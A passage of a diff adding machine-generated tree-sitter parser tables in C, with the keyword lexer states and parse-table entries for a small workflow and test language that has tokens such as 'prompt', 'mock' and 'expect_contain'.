'o') ADVANCE(23); + END_STATE(); + case 5: + if (lookahead == 'f') ADVANCE(24); + if (lookahead == 'm') ADVANCE(25); + if (lookahead == 'n') ADVANCE(26); + END_STATE(); + case 6: + if (lookahead == 'o') ADVANCE(27); + END_STATE(); + case 7: + if (lookahead == 'a') ADVANCE(28); + if (lookahead == 'o') ADVANCE(29); + END_STATE(); + case 8: + if (lookahead == 'o') ADVANCE(30); + END_STATE(); + case 9: + if (lookahead == 'r') ADVANCE(31); + END_STATE(); + case 10: + if (lookahead == 'e') ADVANCE(32); + if (lookahead == 'u') ADVANCE(33); + END_STATE(); + case 11: + if (lookahead == 'c') ADVANCE(34); + if (lookahead == 'e') ADVANCE(35); + END_STATE(); + case 12: + if (lookahead == 'e') ADVANCE(36); + if (lookahead == 'r') ADVANCE(37); + END_STATE(); + case 13: + if (lookahead == 'o') ADVANCE(38); + END_STATE(); + case 14: + if (lookahead == 'l') ADVANCE(39); + END_STATE(); + case 15: + ACCEPT_TOKEN(anon_sym_as); + if (lookahead == 'y') ADVANCE(40); + END_STATE(); + case 16: + if (lookahead == 't') ADVANCE(41); + END_STATE(); + case 17: + if (lookahead == 'a') ADVANCE(42); + END_STATE(); + case 18: + if (lookahead == 'n') ADVANCE(43); + END_STATE(); + case 19: + if (lookahead == 's') ADVANCE(44); + END_STATE(); + case 20: + if (lookahead == 's') ADVANCE(45); + END_STATE(); + case 21: + if (lookahead == 'p') ADVANCE(46); + END_STATE(); + case 22: + if (lookahead == 'i') ADVANCE(47); + if (lookahead == 'l') ADVANCE(48); + END_STATE(); + case 23: + if (lookahead == 'r') ADVANCE(49); + END_STATE(); + case 24: + ACCEPT_TOKEN(anon_sym_if); + END_STATE(); + case 25: + if (lookahead == 'p') ADVANCE(50); + END_STATE(); + case 26: + ACCEPT_TOKEN(anon_sym_in); + END_STATE(); + case 27: + if (lookahead == 'g') ADVANCE(51); + END_STATE(); + case 28: + if (lookahead == 't') ADVANCE(52); + END_STATE(); + case 29: + if (lookahead == 'c') ADVANCE(53); + END_STATE(); + case 30: + if (lookahead == 't') ADVANCE(54); + END_STATE(); + case 31: + if (lookahead == 'o') ADVANCE(55); + END_STATE(); + case 32: + if (lookahead == 'c') ADVANCE(56); + if (lookahead == 't') ADVANCE(57); + END_STATE(); + case 33: + if (lookahead == 'l') ADVANCE(58); + if (lookahead == 'n') ADVANCE(59); + END_STATE(); + case 34: + if (lookahead == 'r') ADVANCE(60); + END_STATE(); + case 35: + if (lookahead == 'n') ADVANCE(61); + END_STATE(); + case 36: + if (lookahead == 's') ADVANCE(62); + END_STATE(); + case 37: + if (lookahead == 'u') ADVANCE(63); + END_STATE(); + case 38: + if (lookahead == 'r') ADVANCE(64); + END_STATE(); + case 39: + if (lookahead == 'o') ADVANCE(65); + END_STATE(); + case 40: + if (lookahead == 'n') ADVANCE(66); + END_STATE(); + case 41: + if (lookahead == 'c') ADVANCE(67); + END_STATE(); + case 42: + if (lookahead == 'n') ADVANCE(68); + END_STATE(); + case 43: + if (lookahead == 'f') ADVANCE(69); + if (lookahead == 's') ADVANCE(70); + END_STATE(); + case 44: + if (lookahead == 'e') ADVANCE(71); + END_STATE(); + case 45: + if (lookahead == 'u') ADVANCE(72); + END_STATE(); + case 46: + if (lookahead == 'e') ADVANCE(73); + if (lookahead == 'o') ADVANCE(74); + END_STATE(); + case 47: + if (lookahead == 'l') ADVANCE(75); + END_STATE(); + case 48: + if (lookahead == 's') ADVANCE(76); + END_STATE(); + case 49: + ACCEPT_TOKEN(anon_sym_for); + END_STATE(); + case 50: + if (lookahead == 'o') ADVANCE(77); + END_STATE(); + case 51: + ACCEPT_TOKEN(anon_sym_log); + if (lookahead == 'e') ADVANCE(78); + if (lookahead == 'w') ADVANCE(79); + END_STATE(); + case 52: + if (lookahead == 'c') ADVANCE(80); + END_STATE(); + case 53: + if (lookahead == 'k') ADVANCE(81); + END_STATE(); + case 54: + ACCEPT_TOKEN(anon_sym_not); + END_STATE(); + case 55: + if (lookahead == 'm') ADVANCE(82); + END_STATE(); + case 56: + if (lookahead == 'o') ADVANCE(83); + END_STATE(); + case 57: + if (lookahead == 'u') ADVANCE(84); + END_STATE(); + case 58: + if (lookahead == 'e') ADVANCE(85); + END_STATE(); + case 59: + ACCEPT_TOKEN(anon_sym_run); + END_STATE(); + case 60: + if (lookahead == 'i') ADVANCE(86); + END_STATE(); + case 61: + if (lookahead == 'd') ADVANCE(87); + END_STATE(); + case 62: + if (lookahead == 't') ADVANCE(88); + END_STATE(); + case 63: + if (lookahead == 'e') ADVANCE(89); + END_STATE(); + case 64: + if (lookahead == 'k') ADVANCE(90); + END_STATE(); + case 65: + if (lookahead == 'w') ADVANCE(91); + END_STATE(); + case 66: + if (lookahead == 'c') ADVANCE(92); + END_STATE(); + case 67: + if (lookahead == 'h') ADVANCE(93); + END_STATE(); + case 68: + if (lookahead == 'n') ADVANCE(94); + END_STATE(); + case 69: + if (lookahead == 'i') ADVANCE(95); + END_STATE(); + case 70: + if (lookahead == 't') ADVANCE(96); + END_STATE(); + case 71: + ACCEPT_TOKEN(anon_sym_else); + END_STATE(); + case 72: + if (lookahead == 'r') ADVANCE(97); + END_STATE(); + case 73: + if (lookahead == 'c') ADVANCE(98); + END_STATE(); + case 74: + if (lookahead == 'r') ADVANCE(99); + END_STATE(); + case 75: + ACCEPT_TOKEN(anon_sym_fail); + END_STATE(); + case 76: + if (lookahead == 'e') ADVANCE(100); + END_STATE(); + case 77: + if (lookahead == 'r') ADVANCE(101); + END_STATE(); + case 78: + if (lookahead == 'r') ADVANCE(102); + END_STATE(); + case 79: + if (lookahead == 'a') ADVANCE(103); + END_STATE(); + case 80: + if (lookahead == 'h') ADVANCE(104); + END_STATE(); + case 81: + ACCEPT_TOKEN(anon_sym_mock); + END_STATE(); + case 82: + if (lookahead == 'p') ADVANCE(105); + END_STATE(); + case 83: + if (lookahead == 'v') ADVANCE(106); + END_STATE(); + case 84: + if (lookahead == 'r') ADVANCE(107); + END_STATE(); + case 85: + ACCEPT_TOKEN(anon_sym_rule); + END_STATE(); + case 86: + if (lookahead == 'p') ADVANCE(108); + END_STATE(); + case 87: + ACCEPT_TOKEN(anon_sym_send); + END_STATE(); + case 88: + ACCEPT_TOKEN(anon_sym_test); + END_STATE(); + case 89: + ACCEPT_TOKEN(anon_sym_true); + END_STATE(); + case 90: + if (lookahead == 'f') ADVANCE(109); + END_STATE(); + case 91: + if (lookahead == '_') ADVANCE(110); + END_STATE(); + case 92: + ACCEPT_TOKEN(anon_sym_async); + END_STATE(); + case 93: + ACCEPT_TOKEN(anon_sym_catch); + END_STATE(); + case 94: + if (lookahead == 'e') ADVANCE(111); + END_STATE(); + case 95: + if (lookahead == 'g') ADVANCE(112); + END_STATE(); + case 96: + ACCEPT_TOKEN(anon_sym_const); + END_STATE(); + case 97: + if (lookahead == 'e') ADVANCE(113); + END_STATE(); + case 98: + if (lookahead == 't') ADVANCE(114); + END_STATE(); + case 99: + if (lookahead == 't') ADVANCE(115); + END_STATE(); + case 100: + ACCEPT_TOKEN(anon_sym_false); + END_STATE(); + case 101: + if (lookahead == 't') ADVANCE(116); + END_STATE(); + case 102: + if (lookahead == 'r') ADVANCE(117); + END_STATE(); + case 103: + if (lookahead == 'r') ADVANCE(118); + END_STATE(); + case 104: + ACCEPT_TOKEN(anon_sym_match); + END_STATE(); + case 105: + if (lookahead == 't') ADVANCE(119); + END_STATE(); + case 106: + if (lookahead == 'e') ADVANCE(120); + END_STATE(); + case 107: + if (lookahead == 'n') ADVANCE(121); + END_STATE(); + case 108: + if (lookahead == 't') ADVANCE(122); + END_STATE(); + case 109: + if (lookahead == 'l') ADVANCE(123); + END_STATE(); + case 110: + if (lookahead == 'f') ADVANCE(124); + END_STATE(); + case 111: + if (lookahead == 'l') ADVANCE(125); + END_STATE(); + case 112: + ACCEPT_TOKEN(anon_sym_config); + END_STATE(); + case 113: + ACCEPT_TOKEN(anon_sym_ensure); + END_STATE(); + case 114: + if (lookahead == '_') ADVANCE(126); + END_STATE(); + case 115: + ACCEPT_TOKEN(anon_sym_export); + END_STATE(); + case 116: + ACCEPT_TOKEN(anon_sym_import); + END_STATE(); + case 117: + ACCEPT_TOKEN(anon_sym_logerr); + END_STATE(); + case 118: + if (lookahead == 'n') ADVANCE(127); + END_STATE(); + case 119: + ACCEPT_TOKEN(anon_sym_prompt); + END_STATE(); + case 120: + if (lookahead == 'r') ADVANCE(128); + END_STATE(); + case 121: + ACCEPT_TOKEN(anon_sym_return); + if (lookahead == 's') ADVANCE(129); + END_STATE(); + case 122: + ACCEPT_TOKEN(anon_sym_script); + END_STATE(); + case 123: + if (lookahead == 'o') ADVANCE(130); + END_STATE(); + case 124: + if (lookahead == 'a') ADVANCE(131); + END_STATE(); + case 125: + ACCEPT_TOKEN(anon_sym_channel); + END_STATE(); + case 126: + if (lookahead == 'c') ADVANCE(132); + if (lookahead == 'e') ADVANCE(133); + if (lookahead == 'n') ADVANCE(134); + END_STATE(); + case 127: + ACCEPT_TOKEN(anon_sym_logwarn); + END_STATE(); + case 128: + ACCEPT_TOKEN(anon_sym_recover); + END_STATE(); + case 129: + ACCEPT_TOKEN(anon_sym_returns); + END_STATE(); + case 130: + if (lookahead == 'w') ADVANCE(135); + END_STATE(); + case 131: + if (lookahead == 'i') ADVANCE(136); + END_STATE(); + case 132: + if (lookahead == 'o') ADVANCE(137); + END_STATE(); + case 133: + if (lookahead == 'q') ADVANCE(138); + END_STATE(); + case 134: + if (lookahead == 'o') ADVANCE(139); + END_STATE(); + case 135: + ACCEPT_TOKEN(anon_sym_workflow); + END_STATE(); + case 136: + if (lookahead == 'l') ADVANCE(140); + END_STATE(); + case 137: + if (lookahead == 'n') ADVANCE(141); + END_STATE(); + case 138: + if (lookahead == 'u') ADVANCE(142); + END_STATE(); + case 139: + if (lookahead == 't') ADVANCE(143); + END_STATE(); + case 140: + if (lookahead == 'u') ADVANCE(144); + END_STATE(); + case 141: + if (lookahead == 't') ADVANCE(145); + END_STATE(); + case 142: + if (lookahead == 'a') ADVANCE(146); + END_STATE(); + case 143: + if (lookahead == '_') ADVANCE(147); + END_STATE(); + case 144: + if (lookahead == 'r') ADVANCE(148); + END_STATE(); + case 145: + if (lookahead == 'a') ADVANCE(149); + END_STATE(); + case 146: + if (lookahead == 'l') ADVANCE(150); + END_STATE(); + case 147: + if (lookahead == 'c') ADVANCE(151); + END_STATE(); + case 148: + if (lookahead == 'e') ADVANCE(152); + END_STATE(); + case 149: + if (lookahead == 'i') ADVANCE(153); + END_STATE(); + case 150: + ACCEPT_TOKEN(anon_sym_expect_equal); + END_STATE(); + case 151: + if (lookahead == 'o') ADVANCE(154); + END_STATE(); + case 152: + ACCEPT_TOKEN(anon_sym_allow_failure); + END_STATE(); + case 153: + if (lookahead == 'n') ADVANCE(155); + END_STATE(); + case 154: + if (lookahead == 'n') ADVANCE(156); + END_STATE(); + case 155: + ACCEPT_TOKEN(anon_sym_expect_contain); + END_STATE(); + case 156: + if (lookahead == 't') ADVANCE(157); + END_STATE(); + case 157: + if (lookahead == 'a') ADVANCE(158); + END_STATE(); + case 158: + if (lookahead == 'i') ADVANCE(159); + END_STATE(); + case 159: + if (lookahead == 'n') ADVANCE(160); + END_STATE(); + case 160: + ACCEPT_TOKEN(anon_sym_expect_not_contain); + END_STATE(); + default: + return false; + } +} + +static const TSLexMode ts_lex_modes[STATE_COUNT] = { + [0] = {.lex_state = 0}, + [1] = {.lex_state = 0}, + [2] = {.lex_state = 0}, + [3] = {.lex_state = 0}, + [4] = {.lex_state = 0}, + [5] = {.lex_state = 0}, + [6] = {.lex_state = 0}, + [7] = {.lex_state = 0}, + [8] = {.lex_state = 0}, + [9] = {.lex_state = 14}, + [10] = {.lex_state = 15}, + [11] = {.lex_state = 0}, + [12] = {.lex_state = 0}, + [13] = {.lex_state = 0}, +}; + +static const uint16_t ts_parse_table[LARGE_STATE_COUNT][SYMBOL_COUNT] = { + [0] = { + [ts_builtin_sym_end] = ACTIONS(1), + [sym_identifier] = ACTIONS(1), + [anon_sym_import] = ACTIONS(1), + [anon_sym_export] = ACTIONS(1), + [anon_sym_as] = ACTIONS(1), + [anon_sym_config] = ACTIONS(1), + [anon_sym_channel] = ACTIONS(1), + [anon_sym_script] = ACTIONS(1), + [anon_sym_rule] = ACTIONS(1), + [anon_sym_workflow] = ACTIONS(1), + [anon_sym_test] = ACTIONS(1), + [anon_sym_const] = ACTIONS(1), + [anon_sym_run] = ACTIONS(1), + [anon_sym_ensure] = ACTIONS(1), + [anon_sym_prompt] = ACTIONS(1), + [anon_sym_log] = ACTIONS(1), + [anon_sym_logerr] = ACTIONS(1), + [anon_sym_logwarn] = ACTIONS(1), + [anon_sym_fail] = ACTIONS(1), + [anon_sym_return] = ACTIONS(1), + [anon_sym_send] = ACTIONS(1), + [anon_sym_recover] = ACTIONS(1), + [anon_sym_catch] = ACTIONS(1), + [anon_sym_if] = ACTIONS(1), + [anon_sym_else] = ACTIONS(1), + [anon_sym_for] = ACTIONS(1), + [anon_sym_in] = ACTIONS(1), + [anon_sym_match] = ACTIONS(1), + [anon_sym_async] = ACTIONS(1), + [anon_sym_returns] = ACTIONS(1), + [anon_sym_not] = ACTIONS(1), + [anon_sym_mock] = ACTIONS(1), + [anon_sym_allow_failure] = ACTIONS(1), + [anon_sym_expect_contain] = ACTIONS(1), + [anon_sym_expect_not_contain] = ACTIONS(1), + [anon_sym_expect_equal] = ACTIONS(1), + [anon_sym_true] = ACTIONS(1), + [anon_sym_false] = ACTIONS(1), + [anon_sym_LBRACE] = ACTIONS(1), + [anon_sym_RBRACE] = ACTIONS(1), + [anon_sym_LPAREN] = ACTIONS(1), + [anon_sym_RPAREN] = ACTIONS(1), + [anon_sym_LBRACK] = ACTIONS(1), + [anon_sym_RBRACK] = ACTIONS(1), + [anon_sym_DOT] = ACTIONS(1), + [anon_sym_COMMA] = ACTIONS(1), + [sym_comment] = ACTIONS(1), + [anon_sym_LT_DASH] = ACTIONS(1), + [anon_sym_DASH_GT] = ACTIONS(1), + [anon_sym_EQ_GT] = ACTIONS(1), + [anon_sym_EQ_EQ] = ACTIONS(1), + [anon_sym_BANG_EQ] = ACTIONS(1), + [anon_sym_EQ_TILDE] = ACTIONS(1), + [anon_sym_BANG_TILDE] = ACTIONS(1), + [anon_sym_EQ] = ACTIONS(1), + [sym_number] = ACTIONS(1), + [sym_qualified_identifier] = ACTIONS(1), + [sym_regex] = ACTIONS(1), + [sym_string] = ACTIONS(1), + [sym_triple_string] = ACTIONS(1), + [sym_backtick_string] = ACTIONS(1), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(1), + }, + [1] = { + [sym_source_file] = STATE(11), + [sym__token] = STATE(2), + [sym_operator] = STATE(2), + [sym_fenced_block] = STATE(2), + [aux_sym_source_file_repeat1] = STATE(2), + [ts_builtin_sym_end] = ACTIONS(3), + [sym_identifier] = ACTIONS(5), + [anon_sym_import] = ACTIONS(5), + [anon_sym_export] = ACTIONS(5), + [anon_sym_as] = ACTIONS(5), + [anon_sym_config] = ACTIONS(5), + [anon_sym_channel] = ACTIONS(5), + [anon_sym_script] = ACTIONS(5), + [anon_sym_rule] = ACTIONS(5), + [anon_sym_workflow] = ACTIONS(5), + [anon_sym_test] = ACTIONS(5), + [anon_sym_const] = ACTIONS(5), + [anon_sym_run] = ACTIONS(5), + [anon_sym_ensure] = ACTIONS(5), + [anon_sym_prompt] = ACTIONS(5), + [anon_sym_log] = ACTIONS(5), + [anon_sym_logerr] = ACTIONS(5), + [anon_sym_logwarn] = ACTIONS(5), + [anon_sym_fail] = ACTIONS(5), + [anon_sym_return] = ACTIONS(5), + [anon_sym_send] = ACTIONS(5), + [anon_sym_recover] = ACTIONS(5), + [anon_sym_catch] = ACTIONS(5), + [anon_sym_if] = ACTIONS(5), + [anon_sym_else] = ACTIONS(5), + [anon_sym_for] = ACTIONS(5), + [anon_sym_in] = ACTIONS(5), + [anon_sym_match] = ACTIONS(5), + [anon_sym_async] = ACTIONS(5), + [anon_sym_returns] = ACTIONS(5), + [anon_sym_not] = ACTIONS(5), + [anon_sym_mock] = ACTIONS(5), + [anon_sym_allow_failure] = ACTIONS(5), + [anon_sym_expect_contain] = ACTIONS(5), + [anon_sym_expect_not_contain] = ACTIONS(5), + [anon_sym_expect_equal] = ACTIONS(5), + [anon_sym_true] = ACTIONS(5), + [anon_sym_false] = ACTIONS(5), + [anon_sym_LBRACE] = ACTIONS(7), + [anon_sym_RBRACE] = ACTIONS(7), + [anon_sym_LPAREN] = ACTIONS(7), + [anon_sym_RPAREN] = ACTIONS(7), + [anon_sym_LBRACK] = ACTIONS(7), + [anon_sym_RBRACK] = ACTIONS(7), + [anon_sym_DOT] = ACTIONS(7), + [anon_sym_COMMA] = ACTIONS(7), + [sym_comment] = ACTIONS(7), + [anon_sym_LT_DASH] = ACTIONS(9), + [anon_sym_DASH_GT] = ACTIONS(9), + [anon_sym_EQ_GT] = ACTIONS(9), + [anon_sym_EQ_EQ] = ACTIONS(9), + [anon_sym_BANG_EQ] = ACTIONS(9), + [anon_sym_EQ_TILDE] = ACTIONS(9), + [anon_sym_BANG_TILDE] = ACTIONS(9), + [anon_sym_EQ] = ACTIONS(11), + [sym_number] = ACTIONS(7), + [sym_qualified_identifier] = ACTIONS(7), + [sym_regex] = ACTIONS(7), + [sym_string] = ACTIONS(5), + [sym_triple_string] = ACTIONS(7), + [sym_backtick_string] = ACTIONS(5), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(13), + }, + [2] = { + [sym__token] = STATE(3), + [sym_operator] = STATE(3), + [sym_fenced_block] = STATE(3), + [aux_sym_source_file_repeat1] = STATE(3), + [ts_builtin_sym_end] = ACTIONS(15), + [sym_identifier] = ACTIONS(17), + [anon_sym_import] = ACTIONS(17), + [anon_sym_export] = ACTIONS(17), + [anon_sym_as] = ACTIONS(17), + [anon_sym_config] = ACTIONS(17), + [anon_sym_channel] = ACTIONS(17), + [anon_sym_script] = ACTIONS(17), + [anon_sym_rule] = ACTIONS(17), + [anon_sym_workflow] = ACTIONS(17), + [anon_sym_test] = ACTIONS(17), + [anon_sym_const] = ACTIONS(17), + [anon_sym_run] = ACTIONS(17), + [anon_sym_ensure] = ACTIONS(17), + [anon_sym_prompt] = ACTIONS(17), + [anon_sym_log] = ACTIONS(17), + [anon_sym_logerr] = ACTIONS(17), + [anon_sym_logwarn] = ACTIONS(17), + [anon_sym_fail] = ACTIONS(17), + [anon_sym_return] = ACTIONS(17), + [anon_sym_send] = ACTIONS(17), + [anon_sym_recover] = ACTIONS(17), + [anon_sym_catch] = ACTIONS(17), + [anon_sym_if] = ACTIONS(17), + [anon_sym_else] = ACTIONS(17), + [anon_sym_for] = ACTIONS(17), + [anon_sym_in] = ACTIONS(17), + [anon_sym_match] = ACTIONS(17), + [anon_sym_async] = ACTIONS(17), + [anon_sym_returns] = ACTIONS(17), + [anon_sym_not] = ACTIONS(17), + [anon_sym_mock] = ACTIONS(17), + [anon_sym_allow_failure] = ACTIONS(17), + [anon_sym_expect_contain] = ACTIONS(17), + [anon_sym_expect_not_contain] = ACTIONS(17), + [anon_sym_expect_equal] = ACTIONS(17), + [anon_sym_true] = ACTIONS(17), + [anon_sym_false] = ACTIONS(17), + [anon_sym_LBRACE] = ACTIONS(19), + [anon_sym_RBRACE] = ACTIONS(19), + [anon_sym_LPAREN] = ACTIONS(19), + [anon_sym_RPAREN] = ACTIONS(19), + [anon_sym_LBRACK] = ACTIONS(19), + [anon_sym_RBRACK] = ACTIONS(19), + [anon_sym_DOT] = ACTIONS(19), + [anon_sym_COMMA] = ACTIONS(19), + [sym_comment] = ACTIONS(19), + [anon_sym_LT_DASH] = ACTIONS(9), + [anon_sym_DASH_GT] = ACTIONS(9), + [anon_sym_EQ_GT] = ACTIONS(9), + [anon_sym_EQ_EQ] = ACTIONS(9), + [anon_sym_BANG_EQ] = ACTIONS(9), + [anon_sym_EQ_TILDE] = ACTIONS(9), + [anon_sym_BANG_TILDE] = ACTIONS(9), + [anon_sym_EQ] = ACTIONS(11), + [sym_number] = ACTIONS(19), + [sym_qualified_identifier] = ACTIONS(19), + [sym_regex] = ACTIONS(19), + [sym_string] = ACTIONS(17), + [sym_triple_string] = ACTIONS(19), + [sym_backtick_string] = ACTIONS(17), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(13), + }, + [3] = { + [sym__token] = STATE(3), + [sym_operator] = STATE(3), + [sym_fenced_block] = STATE(3), + [aux_sym_source_file_repeat1] = STATE(3), + [ts_builtin_sym_end] = ACTIONS(21), + [sym_identifier] = ACTIONS(23), + [anon_sym_import] = ACTIONS(23), + [anon_sym_export] = ACTIONS(23), + [anon_sym_as] = ACTIONS(23), + [anon_sym_config] = ACTIONS(23), + [anon_sym_channel] = ACTIONS(23), + [anon_sym_script] = ACTIONS(23), + [anon_sym_rule] = ACTIONS(23), + [anon_sym_workflow] = ACTIONS(23), + [anon_sym_test] = ACTIONS(23), + [anon_sym_const] = ACTIONS(23), + [anon_sym_run] = ACTIONS(23), + [anon_sym_ensure] = ACTIONS(23), + [anon_sym_prompt] = ACTIONS(23), + [anon_sym_log] = ACTIONS(23), + [anon_sym_logerr] = ACTIONS(23), + [anon_sym_logwarn] = ACTIONS(23), + [anon_sym_fail] = ACTIONS(23), + [anon_sym_return] = ACTIONS(23), + [anon_sym_send] = ACTIONS(23), + [anon_sym_recover] = ACTIONS(23), + [anon_sym_catch] = ACTIONS(23), + [anon_sym_if] = ACTIONS(23), + [anon_sym_else] = ACTIONS(23), + [anon_sym_for] = ACTIONS(23), + [anon_sym_in] = ACTIONS(23), + [anon_sym_match] = ACTIONS(23), + [anon_sym_async] = ACTIONS(23), + [anon_sym_returns] = ACTIONS(23), + [anon_sym_not] = ACTIONS(23), + [anon_sym_mock] = ACTIONS(23), + [anon_sym_allow_failure] = ACTIONS(23), + [anon_sym_expect_contain] = ACTIONS(23), + [anon_sym_expect_not_contain] = ACTIONS(23), + [anon_sym_expect_equal] = ACTIONS(23), + [anon_sym_true] = ACTIONS(23), + [anon_sym_false] = ACTIONS(23), + [anon_sym_LBRACE] = ACTIONS(26), + [anon_sym_RBRACE] = ACTIONS(26), + [anon_sym_LPAREN] = ACTIONS(26), + [anon_sym_RPAREN] = ACTIONS(26), + [anon_sym_LBRACK] = ACTIONS(26), + [anon_sym_RBRACK] = ACTIONS(26), + [anon_sym_DOT] = ACTIONS(26), + [anon_sym_COMMA] = ACTIONS(26), + [sym_comment] = ACTIONS(26), + [anon_sym_LT_DASH] = ACTIONS(29), + [anon_sym_DASH_GT] = ACTIONS(29), + [anon_sym_EQ_GT] = ACTIONS(29), + [anon_sym_EQ_EQ] = ACTIONS(29), + [anon_sym_BANG_EQ] = ACTIONS(29), + [anon_sym_EQ_TILDE] = ACTIONS(29), + [anon_sym_BANG_TILDE] = ACTIONS(29), + [anon_sym_EQ] = ACTIONS(32), + [sym_number] = ACTIONS(26), + [sym_qualified_identifier] = ACTIONS(26), + [sym_regex] = ACTIONS(26), + [sym_string] = ACTIONS(23), + [sym_triple_string] = ACTIONS(26), + [sym_backtick_string] = ACTIONS(23), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(35), + }, + [4] = { + [ts_builtin_sym_end] = ACTIONS(38), + [sym_identifier] = ACTIONS(40), + [anon_sym_import] = ACTIONS(40), + [anon_sym_export] = ACTIONS(40), + [anon_sym_as] = ACTIONS(40), + [anon_sym_config] = ACTIONS(40), + [anon_sym_channel] = ACTIONS(40), + [anon_sym_script] = ACTIONS(40), + [anon_sym_rule] = ACTIONS(40), + [anon_sym_workflow] = ACTIONS(40), + [anon_sym_test] = ACTIONS(40), + [anon_sym_const] = ACTIONS(40), + [anon_sym_run] = ACTIONS(40), + [anon_sym_ensure] = ACTIONS(40), + [anon_sym_prompt] = ACTIONS(40), + [anon_sym_log] = ACTIONS(40), + [anon_sym_logerr] = ACTIONS(40), + [anon_sym_logwarn] = ACTIONS(40), + [anon_sym_fail] = ACTIONS(40), + [anon_sym_return] = ACTIONS(40), + [anon_sym_send] = ACTIONS(40), + [anon_sym_recover] = ACTIONS(40), + [anon_sym_catch] = ACTIONS(40), + [anon_sym_if] = ACTIONS(40), + [anon_sym_else] = ACTIONS(40), + [anon_sym_for] = ACTIONS(40), + [anon_sym_in] = ACTIONS(40), + [anon_sym_match] = ACTIONS(40), + [anon_sym_async] = ACTIONS(40), + [anon_sym_returns] = ACTIONS(40), + [anon_sym_not] = ACTIONS(40), + [anon_sym_mock] = ACTIONS(40), + [anon_sym_allow_failure] = ACTIONS(40), + [anon_sym_expect_contain] = ACTIONS(40), + [anon_sym_expect_not_contain] = ACTIONS(40), + [anon_sym_expect_equal] = ACTIONS(40), + [anon_sym_true] = ACTIONS(40), + [anon_sym_false] = ACTIONS(40), + [anon_sym_LBRACE] = ACTIONS(38), + [anon_sym_RBRACE] = ACTIONS(38), + [anon_sym_LPAREN] = ACTIONS(38), + [anon_sym_RPAREN] = ACTIONS(38), + [anon_sym_LBRACK] = ACTIONS(38), + [anon_sym_RBRACK] = ACTIONS(38), + [anon_sym_DOT] = ACTIONS(38), + [anon_sym_COMMA] = ACTIONS(38), + [sym_comment] = ACTIONS(38), + [anon_sym_LT_DASH] = ACTIONS(38), + [anon_sym_DASH_GT] = ACTIONS(38), + [anon_sym_EQ_GT] = ACTIONS(38), + [anon_sym_EQ_EQ] = ACTIONS(38), + [anon_sym_BANG_EQ] = ACTIONS(38), + [anon_sym_EQ_TILDE] = ACTIONS(38), + [anon_sym_BANG_TILDE] = ACTIONS(38), + [anon_sym_EQ] = ACTIONS(40), + [sym_number] = ACTIONS(38), + [sym_qualified_identifier] = ACTIONS(38), + [sym_regex] = ACTIONS(38), + [sym_string] = ACTIONS(40), + [sym_triple_string] = ACTIONS(38), + [sym_backtick_string] = ACTIONS(40), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(38), + }, + [5] = { + [ts_builtin_sym_end] = ACTIONS(42), + [sym_identifier] = ACTIONS(44), + [anon_sym_import] = ACTIONS(44), + [anon_sym_export] = ACTIONS(44), + [anon_sym_as] = ACTIONS(44), + [anon_sym_config] = ACTIONS(44), + [anon_sym_channel] = ACTIONS(44), + [anon_sym_script] = ACTIONS(44), + [anon_sym_rule] = ACTIONS(44), + [anon_sym_workflow] = ACTIONS(44), + [anon_sym_test] = ACTIONS(44), + [anon_sym_const] = ACTIONS(44), + [anon_sym_run] = ACTIONS(44), + [anon_sym_ensure] = ACTIONS(44), + [anon_sym_prompt] = ACTIONS(44), + [anon_sym_log] = ACTIONS(44), + [anon_sym_logerr] = ACTIONS(44), + [anon_sym_logwarn] = ACTIONS(44), + [anon_sym_fail] = ACTIONS(44), + [anon_sym_return] = ACTIONS(44), + [anon_sym_send] = ACTIONS(44), + [anon_sym_recover] = ACTIONS(44), + [anon_sym_catch] = ACTIONS(44), + [anon_sym_if] = ACTIONS(44), + [anon_sym_else] = ACTIONS(44), + [anon_sym_for] = ACTIONS(44), + [anon_sym_in] = ACTIONS(44), + [anon_sym_match] = ACTIONS(44), + [anon_sym_async] = ACTIONS(44), + [anon_sym_returns] = ACTIONS(44), + [anon_sym_not] = ACTIONS(44), + [anon_sym_mock] = ACTIONS(44), + [anon_sym_allow_failure] = ACTIONS(44), + [anon_sym_expect_contain] = ACTIONS(44), + [anon_sym_expect_not_contain] = ACTIONS(44), + [anon_sym_expect_equal] = ACTIONS(44), + [anon_sym_true] = ACTIONS(44), + [anon_sym_false] = ACTIONS(44), + [anon_sym_LBRACE] = ACTIONS(42), + [anon_sym_RBRACE] = ACTIONS(42), + [anon_sym_LPAREN] = ACTIONS(42), + [anon_sym_RPAREN] = ACTIONS(42), + [anon_sym_LBRACK] = ACTIONS(42), + [anon_sym_RBRACK] = ACTIONS(42), + [anon_sym_DOT] = ACTIONS(42), + [anon_sym_COMMA] = ACTIONS(42), + [sym_comment] = ACTIONS(42), + [anon_sym_LT_DASH] = ACTIONS(42), + [anon_sym_DASH_GT] = ACTIONS(42), + [anon_sym_EQ_GT] = ACTIONS(42), + [anon_sym_EQ_EQ] = ACTIONS(42), + [anon_sym_BANG_EQ] = ACTIONS(42), + [anon_sym_EQ_TILDE] = ACTIONS(42), + [anon_sym_BANG_TILDE] = ACTIONS(42), + [anon_sym_EQ] = ACTIONS(44), + [sym_number] = ACTIONS(42), + [sym_qualified_identifier] = ACTIONS(42), + [sym_regex] = ACTIONS(42), + [sym_string] = ACTIONS(44), + [sym_triple_string] = ACTIONS(42), + [sym_backtick_string] = ACTIONS(44), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(42), + }, + [6] = { + [ts_builtin_sym_end] = ACTIONS(46), + [sym_identifier] = ACTIONS(48), + [anon_sym_import] = ACTIONS(48), + [anon_sym_export] = ACTIONS(48), + [anon_sym_as] = ACTIONS(48), + [anon_sym_config] = ACTIONS(48), + [anon_sym_channel] = ACTIONS(48), + [anon_sym_script] = ACTIONS(48), + [anon_sym_rule] = ACTIONS(48), + [anon_sym_workflow] = ACTIONS(48), + [anon_sym_test] = ACTIONS(48), + [anon_sym_const] = ACTIONS(48), + [anon_sym_run] = ACTIONS(48), + [anon_sym_ensure] = ACTIONS(48), + [anon_sym_prompt] = ACTIONS(48), + [anon_sym_log] = ACTIONS(48), + [anon_sym_logerr] = ACTIONS(48), + [anon_sym_logwarn] = ACTIONS(48), + [anon_sym_fail] = ACTIONS(48), + [anon_sym_return] = ACTIONS(48), + [anon_sym_send] = ACTIONS(48), + [anon_sym_recover] = ACTIONS(48), + [anon_sym_catch] = ACTIONS(48), + 